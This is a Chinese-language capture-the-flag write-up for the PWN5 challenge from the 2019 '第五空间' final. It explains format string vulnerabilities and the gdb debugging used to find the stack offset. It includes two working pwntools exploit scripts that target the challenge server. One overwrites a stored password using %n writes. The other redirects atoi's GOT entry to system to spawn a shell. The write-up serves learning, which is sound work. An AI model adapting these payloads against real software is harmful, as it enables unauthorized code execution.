writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)

声明:本文用途为供自己学习
参考文章一:CSDN-云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
参考文章二:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
参考文章四:知乎-看雪(作者)-PWN入门-格式化字符串漏洞
参考文章五:简书-杰森任(作者)-PWN格式化字符串漏洞1(基础知识)
参考文章七:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用

目录

    • 一、思路
      • (一)格式化字符串漏洞
      • (二)方法一:篡改随机数(密码)
      • (三)方法二:篡改atoi地址为system地址并传入参数`"/bin/sh"`
    • 二、攻击过程
      • (一)方法一
        • 1.审计代码(反汇编代码)和调试程序
          • (1)第一步
          • (2)第二步 深入探究
          • (3)第三步
      • 2.理论分析
      • (二)方法二
      • (三)其他:[pwngdb中fmtarg](https://zhuanlan.zhihu.com/p/525576998)和[pwntools中FmtStr类](https://blog.csdn.net/A951860555/article/details/115061803)
        • 1.`pwngdb`中`fmtarg`
    • 三、攻击脚本
      • 方法一
      • 方法二
    • 四、遇到的问题
      • (一)懒得尝试,希望于“吃别人做好的饭”
      • (二)还是没有理解`FmtStr`类的细节。
      • (三)对`plt`,`got`表的相关内容理解不深,浮于表面。
    • 五、总结反思

一、思路

参考文章:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法(参考部分:题目分析)

(一)格式化字符串漏洞

参考文章:CSDN-lifanxin-CTF(作者)-pwn题之格式化字符串漏洞详解(参考部分:概念)
  格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞

(二)方法一:篡改随机数(密码)

writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第1张图片
如图可知main函数的功能是从/dev/urandom文件读取一个随机数,比对输入的passwd是否与该随机数一致,一致则getshell,而printf函数没有设定格式化参数,与输入的passwd比较的数字的地址也可以看到是0x804C044,因此可以利用格式化字符串漏洞,在第一次输入name的时候修改0x804C044的内容,第二次输入passwd时输入改内容(字符串格式,用str函数,其参数为16进制数字)

(三)方法二:篡改atoi地址为system地址并传入参数"/bin/sh"

第一次输入通过格式化字符串漏洞篡改atoi函数got地址为system函数的真实地址,第二次输入passwd为字符串"/bin/sh"

二、攻击过程

(一)方法一

writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第2张图片
enter description here
enter description here
enter description here

根据上述内容,有Canary保护、有未给出格式化参数的错误使用的printf和地址已知的if语句中的变量,而且第一次read的数据长度为0x63个byte,因此用第一次输入构造payload,使得可以向0x804C044这个地址中任意写入。
以下是个人对于格式化字符串漏洞的相关深入探究:

1.审计代码(反汇编代码)和调试程序

(1)第一步

工具:pwngdb,IDApro32;
调试参数:b *0x80492BB(相关地址均通过IDA得到)、rAAAA-%p-%p-%pstack 20 、(此时显示为第一张图片)nistack 20(第二张图片);*
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第3张图片
(以下内容过于基础)此时,eip指向0x80492bb,说明此时下一条执行的指令为push eax,所以当前执行的指令是lea eax,[ebp - 0x70]
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第4张图片
接着执行上述0x80492BB处的push eaxeax存放的为下一条l指令: call printf@plt的参数,即刚刚的输入的AAAA-%p-%p-%p起始位置所在的地址被压入栈中)

(2)第二步 深入探究

刚刚提到经过push eax后,输入的字符串的输入的AAAA-%p-%p-%p起始位置所在的地址被压倒了栈中,而AAAA-%p-%p-%p内容本身放在哪里?
在pwngdb中继续进行调试,调试参数:db *0x804929BrAAAA-%p-%p-%p。*
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第5张图片
通过IDA的伪代码可以看到,键盘输入的内容被放入buf中,而buf的起始位置通过ebp信息(0xffffd0a8下图第一处划线处)和其与ebp的偏移量(0x70)可以算出来(上图第一处画线位置),就是0x804929B(也可以直接通过下图中第三处划线位置buf0xffffd038看出来)
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第6张图片

(3)第三步

再次回到第一步的第二张图,
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第7张图片
此时输入调试命令:print /x *0xffffd038(以16进制格式打印栈空间上0xffffd038地址处的内容)*,结果如下
enter description here
现在退出pwngdb,运行该程序,输入参数AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,结果如下图:
enter description here

2.理论分析

如果对格式化字符串漏洞理解起来困难,建议看下这篇博客

第一个%p打印的是从printf参数的起始位置(本题中为0xffffd010,该位置偏移量为0)的下一个位置开始(偏移量为1)的内容,所以第一个%p的输出内容为0xffffd014的内容,依此类推。而buf的起始地址为0xffffd038printf参数的地址为0xffffd010,所以其二者间的偏移量为10(0x28byte,每个偏移量占4byte,16进制)。在上图输出结果可以看到以AAAA为偏移量0开始算起,第十个偏移量的位置正是0x41414141(AAAA的16进制格式)。其他格式化字符串原理类似%p,例如%10$n,就是把当前格式化参数(%10$n)之前字符数(char类型)的数值大小,赋值给从printf的参数所在栈的位置的起始位置(偏移量为0)开始算起,第10个偏移量的栈空间的位置中的内容作为地址,把该地址对应的内容(只修改一个字(2个byte),改变修改的字节量可以改用%10$hn等(大概吧)),修改为前面说的“字符串数的数值大小”。
上段内容最后一句话参考文章:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理如下内容

%hhn 写一字节
%hn  写两字节
%n   写四字节
%ln  32位写四字节,64位写八字节
%lln 写八字节

(ps:关于"-"的输出问题(我自己在做题时的困惑),为什么"-"不影响输出结果如"0x41414141"的相对位置,因为,%p打印的是从printf参数的起始位置(本题中为0xffffd010,该位置偏移量为0)的下一个位置开始(偏移量为1),第一个%p的输出内容为0xffffd014的内容,此时还没有开始输出到存储字符串本身内容的位置,而printf在输出打印内容时是按顺序打印结果,例如先输出AAAA,在输出"-",遇到%p了,输出其对应偏移量(相对于printf参数)位置的内容,而"-"对应的16进制数就是2d,所以会看到从第十一个参数开始出现2d

(二)方法二

修改exp.py的内容:

from pwn import *
#context.log_level = "DEBUG"

elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']

print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))

结果如下图:
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第8张图片
发现如果用方法一精心地构造payload,会非常困难比如把atoi_got中的最后一字节0x34改成目的数值(0x80)相当困难,因为buf可写入长度仅为0x70个字节,当然也可以进一步想办法解决该问题,但是本文在此处决定使用pwntools自带的fmtstr_payload函数,以期同时掌握更多工具使用方法。构造的payload如下

payload=fmtstr_payload(10,{atoi_got:system_sym})

第一个参数为第二个参数第一部分(即atoi_got)到printf的参数的偏移量,第二个参数的第一部分为要篡改的地址,第二个部分为要篡改之后的值。
(这里有个很奇怪的地方,就是当将elf.sym['system']改为elf.plt['system']时,仍然可以攻击成功,改成elf.got['system']后,攻击失败,这里我不太理解,应该是对plt、got的理解不够,之后尽快补上)

(三)其他:pwngdb中fmtarg和pwntools中FmtStr类

1.pwngdbfmtarg

writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第9张图片
参见参考文章四。
fmtarg使用及pwngdbpwndbg的配置参见下面链接的文章。(如果输入fmtarg报错说没有该命令,则需要按下面文章进行配置)
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
2.pwntoolsFmtStr
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解

def exec_fmt(pad):
	p = process("./pwn")
	# send 还是 sendline以程序为准
	p.send(pad)
	return p.recv()

fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)

输出结果如下。
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)_第10张图片
这里有我不理解的两个点,一个是fmt = FmtStr(exec_fmt)这里,没有给exec_fmt传入任何参数(应该是py基础不好),另一个是还是没有理解FmtStr类的细节,这个需要继续学习。

三、攻击脚本

方法一

payload1参考博文:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
payload2参考博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1

from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
	io = remote("node4.buuoj.cn",29457)
else:
	io = process("./pwn1")

passwd = 0x804C044
payload1 = p32(passwd) + p32(passwd+1) + p32(passwd+2) + p32(passwd+3) + b"%10$n%11$n%12$n%13$n"
#payload2=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#(在此处这个形式的payload就是)就是想说明%16$n这样的格式化参数也要算做一个偏移量,64位由于0截断的原因,需要采取第二种payload的格式
io.sendline(payload1)
io.sendline(str(0x10101010))
io.interactive()

方法二

from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
	io = remote("node4.buuoj.cn",25450)
else:
	io = process("./pwn")

elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']

print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{atoi_got:system_sym})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

四、遇到的问题

(一)懒得尝试,希望于“吃别人做好的饭”

一开始对payload的构造不能理解,网上的博文大多讲的不清楚,或者说不对我的“胃口”,感觉自己关注的地方,网上的博文并没能为我解答,只有自己调试了。
比如网上有些地方讲的%p的偏移量是对于esp来讲的,哪一步的esp?有些博文并没有说。
拿博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1举个例子,博文中说到:“在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。”"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;,为什么用“试探”这个词,到底为什么在这样一个位置?写入栈里的第几个位置,可是栈不是在增长或减少吗?这个位置是固定的吗?相对于谁呢?在什么时候的相对位置呢?也许是博主已经对这种基本知识的掌握很扎实,并未深入讲解,然而我不能理解,于是本篇文章重点对我不理解的地方做了调试与深入探究。

(二)还是没有理解FmtStr类的细节。

(三)对pltgot表的相关内容理解不深,浮于表面。

五、总结反思

这次做题沉下心了仔细审题代码并且不懂的地方一步一步调试,采取一种绝不向不会的地方妥协的策略,发现很多问题都不是很难解决。而且还是要对不懂得知识做深入的研究,本文待进一步修改。

你可能感兴趣的:(系统安全)